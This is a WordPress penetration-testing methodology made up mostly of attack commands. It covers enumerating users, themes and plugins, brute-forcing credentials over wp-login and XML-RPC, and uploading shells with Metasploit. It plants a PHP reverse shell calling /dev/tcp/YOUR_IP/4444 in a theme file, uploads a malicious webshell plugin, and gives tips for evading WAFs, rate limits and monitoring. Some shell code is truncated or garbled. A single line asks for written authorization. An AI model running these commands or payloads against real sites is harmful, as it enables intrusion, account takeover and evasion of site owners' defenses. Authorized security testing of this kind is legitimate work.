It provides comprehensive WordPress security assessment methodologies. --- # WordPress Penetration Testing ## Purpose Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing. ## Prerequisites ### Required Tools - WPScan (pre-installed in Kali Linux) - Metasploit Framework - Burp Suite or OWASP ZAP - Nmap for initial discovery - cURL or wget ### Required Knowledge - WordPress architecture and structure - Web application testing fundamentals - HTTP protocol understanding - Common web vulnerabilities (OWASP Top 10) ## Outputs and Deliverables 1. **WordPress Enumeration Report** - Version, themes, plugins, users 2. **Vulnerability Assessment** - Identified CVEs and misconfigurations 3. **Credential Assessment** - Weak password findings 4. **Exploitation Proof** - Shell access documentation ## Core Workflow ### Phase 1: WordPress Discovery Identify WordPress installations: ```bash # Check for WordPress indicators curl -s http://target.com | grep -i wordpress curl -s http://target.com | grep -i "wp-content" curl -s http://target.com | grep -i "wp-includes" # Check common WordPress paths curl -I http://target.com/wp-login.php curl -I http://target.com/wp-admin/ curl -I http://target.com/wp-content/ curl -I http://target.com/xmlrpc.php # Check meta generator tag curl -s http://target.com | grep "generator" # Nmap WordPress detection nmap -p 80,443 --script http-wordpress-enum target.com ``` Key WordPress files and directories: - `/wp-admin/` - Admin dashboard - `/wp-login.php` - Login page - `/wp-content/` - Themes, plugins, uploads - `/wp-includes/` - Core files - `/xmlrpc.php` - XML-RPC interface - `/wp-config.php` - Configuration (not accessible if secure) - `/readme.html` - Version information ### Phase 2: Basic WPScan Enumeration Comprehensive WordPress scanning with WPScan: ```bash # Basic scan wpscan --url http://target.com/wordpress/ # With API token (for vulnerability data) wpscan --url http://target.com --api-token YOUR_API_TOKEN # Aggressive detection mode wpscan --url http://target.com --detection-mode aggressive # Output to file wpscan --url http://target.com -o results.txt # JSON output wpscan --url http://target.com -f json -o results.json # Verbose output wpscan --url http://target.com -v ``` ### Phase 3: WordPress Version Detection Identify WordPress version: ```bash # WPScan version detection wpscan --url http://target.com # Manual version checks curl -s http://target.com/readme.html | grep -i version curl -s http://target.com/feed/ | grep -i generator curl -s http://target.com | grep "?ver=" # Check meta generator curl -s http://target.com | grep 'name="generator"' # Check RSS feeds curl -s http://target.com/feed/ curl -s http://target.com/comments/feed/ ``` Version sources: - Meta generator tag in HTML - readme.html file - RSS/Atom feeds - JavaScript/CSS file versions ### Phase 4: Theme Enumeration Identify installed themes: ```bash # Enumerate all themes wpscan --url http://target.com -e at # Enumerate vulnerable themes only wpscan --url http://target.com -e vt # Theme enumeration with detection mode wpscan --url http://target.com -e at --plugins-detection aggressive # Manual theme detection curl -s http://target.com | grep "wp-content/themes/" curl -s http://target.com/wp-content/themes/ ``` Theme vulnerability checks: ```bash # Search for theme exploits searchsploit wordpress theme # Check theme version curl -s http://target.com/wp-content/themes//style.css | grep -i version curl -s http://target.com/wp-content/themes//readme.txt ``` ### Phase 5: Plugin Enumeration Identify installed plugins: ```bash # Enumerate all plugins wpscan --url http://target.com -e ap # Enumerate vulnerable plugins only wpscan --url http://target.com -e vp # Aggressive plugin detection wpscan --url http://target.com -e ap --plugins-detection aggressive # Mixed detection mode wpscan --url http://target.com -e ap --plugins-detection mixed # Manual plugin discovery curl -s http://target.com | grep "wp-content/plugins/" curl -s http://target.com/wp-content/plugins/ ``` Common vulnerable plugins to check: ```bash # Search for plugin exploits searchsploit wordpress plugin searchsploit wordpress mail-masta searchsploit wordpress slideshow gallery searchsploit wordpress reflex gallery # Check plugin version curl -s http://target.com/wp-content/plugins//readme.txt ``` ### Phase 6: User Enumeration Discover WordPress users: ```bash # WPScan user enumeration wpscan --url http://target.com -e u # Enumerate specific number of users wpscan --url http://target.com -e u1-100 # Author ID enumeration (manual) for i in {1..20}; do curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/' done # JSON API user enumeration (if enabled) curl -s http://target.com/wp-json/wp/v2/users # REST API user enumeration curl -s http://target.com/wp-json/wp/v2/users?per_page=100 # Login error enumeration curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php ``` ### Phase 7: Comprehensive Enumeration Run all enumeration modules: ```bash # Enumerate everything wpscan --url http://target.com -e at -e ap -e u # Alternative comprehensive scan wpscan --url http://target.com -e vp,vt,u,cb,dbe # Enumeration flags: # at - All themes # vt - Vulnerable themes # ap - All plugins # vp - Vulnerable plugins # u - Users (1-10) # cb - Config backups # dbe - Database exports # Full aggressive enumeration wpscan --url http://target.com -e at,ap,u,cb,dbe \ --detection-mode aggressive \ --plugins-detection aggressive ``` ### Phase 8: Password Attacks Brute-force WordPress credentials: ```bash # Single user brute-force wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt # Multiple users from file wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt # With password attack threads wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50 # XML-RPC brute-force (faster, may bypass protection) wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc # Brute-force with API limiting wpscan --url http://target.com -U admin -P passwords.txt --throttle 500 # Create targeted wordlist cewl http://target.com -w wordlist.txt wpscan --url http://target.com -U admin -P wordlist.txt ``` Password attack methods: - `wp-login` - Standard login form - `xmlrpc` - XML-RPC multicall (faster) - `xmlrpc-multicall` - Multiple passwords per request ### Phase 9: Vulnerability Exploitation #### Metasploit Shell Upload After obtaining credentials: ```bash # Start Metasploit msfconsole # Admin shell upload use exploit/unix/webapp/wp_admin_shell_upload set RHOSTS target.com set USERNAME admin set PASSWORD jessica set TARGETURI /wordpress set LHOST exploit ``` #### Plugin Exploitation ```bash # Slideshow Gallery exploit use exploit/unix/webapp/wp_slideshowgallery_upload set RHOSTS target.com set TARGETURI /wordpress set USERNAME admin set PASSWORD jessica set LHOST exploit # Search for WordPress exploits search type:exploit platform:php wordpress ``` #### Manual Exploitation Theme/plugin editor (with admin access): ```php // Navigate to Appearance > Theme Editor // Edit 404.php or functions.php // Add PHP reverse shell: & /dev/tcp/YOUR_IP/4444 0>&1'"); ?> // Or use weevely backdoor // Access via: http://target.com/wp-content/themes/theme_name/404.php ``` Plugin upload method: ```bash # Create malicious plugin cat > malicious.php << 'EOF' EOF # Zip and upload via Plugins > Add New > Upload Plugin zip malicious.zip malicious.php # Access webshell curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id" ``` ### Phase 10: Advanced Techniques #### XML-RPC Exploitation ```bash # Check if XML-RPC is enabled curl -X POST http://target.com/xmlrpc.php # List available methods curl -X POST -d 'system.listMethods' http://target.com/xmlrpc.php # Brute-force via XML-RPC multicall cat > xmlrpc_brute.xml << 'EOF' system.multicall methodNamewp.getUsersBlogs params admin password1 methodNamewp.getUsersBlogs params admin password2 EOF curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php ``` #### Scanning Through Proxy ```bash # Use Tor proxy wpscan --url http://target.com --proxy socks5://127.0.0.1:9050 # HTTP proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 # Burp Suite proxy wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks ``` #### HTTP Authentication ```bash # Basic authentication wpscan --url http://target.com --http-auth admin:password # Force SSL/TLS wpscan --url https://target.com --disable-tls-checks ``` ## Quick Reference ### WPScan Enumeration Flags | Flag | Description | |------|-------------| | `-e at` | All themes | | `-e vt` | Vulnerable themes | | `-e ap` | All plugins | | `-e vp` | Vulnerable plugins | | `-e u` | Users (1-10) | | `-e cb` | Config backups | | `-e dbe` | Database exports | ### Common WordPress Paths | Path | Purpose | |------|---------| | `/wp-admin/` | Admin dashboard | | `/wp-login.php` | Login page | | `/wp-content/uploads/` | User uploads | | `/wp-includes/` | Core files | | `/xmlrpc.php` | XML-RPC API | | `/wp-json/` | REST API | ### WPScan Command Examples | Purpose | Command | |---------|---------| | Basic scan | `wpscan --url http://target.com` | | All enumeration | `wpscan --url http://target.com -e at,ap,u` | | Password attack | `wpscan --url http://target.com -U admin -P pass.txt` | | Aggressive | `wpscan --url http://target.com --detection-mode aggressive` | ## Constraints and Limitations ### Legal Considerations - Obtain written authorization before testing - Stay within defined scope - Document all testing activities - Follow responsible disclosure ### Technical Limitations - WAF may block scanning - Rate limiting may prevent brute-force - Some plugins may have false negatives - XML-RPC may be disabled ### Detection Evasion - Use random user agents: `--random-user-agent` - Throttle requests: `--throttle 1000` - Use proxy rotation - Avoid aggressive modes on monitored sites ## Troubleshooting ### WPScan Shows No Vulnerabilities **Solutions:** 1. Use API token for vulnerability database 2. Try aggressive detection mode 3. Check for WAF blocking scans 4. Verify WordPress is actually installed ### Brute-Force Blocked **Solutions:** 1. Use XML-RPC method instead of wp-login 2. Add throttling: `--throttle 500` 3. Use different user agents 4. Check for IP blocking/fail2ban ### Cannot Access Admin Panel **Solutions:** 1. Verify credentials are correct 2. Check for two-factor authentication 3. Look for IP whitelist restrictions 4. Check for login URL changes (security plugins)
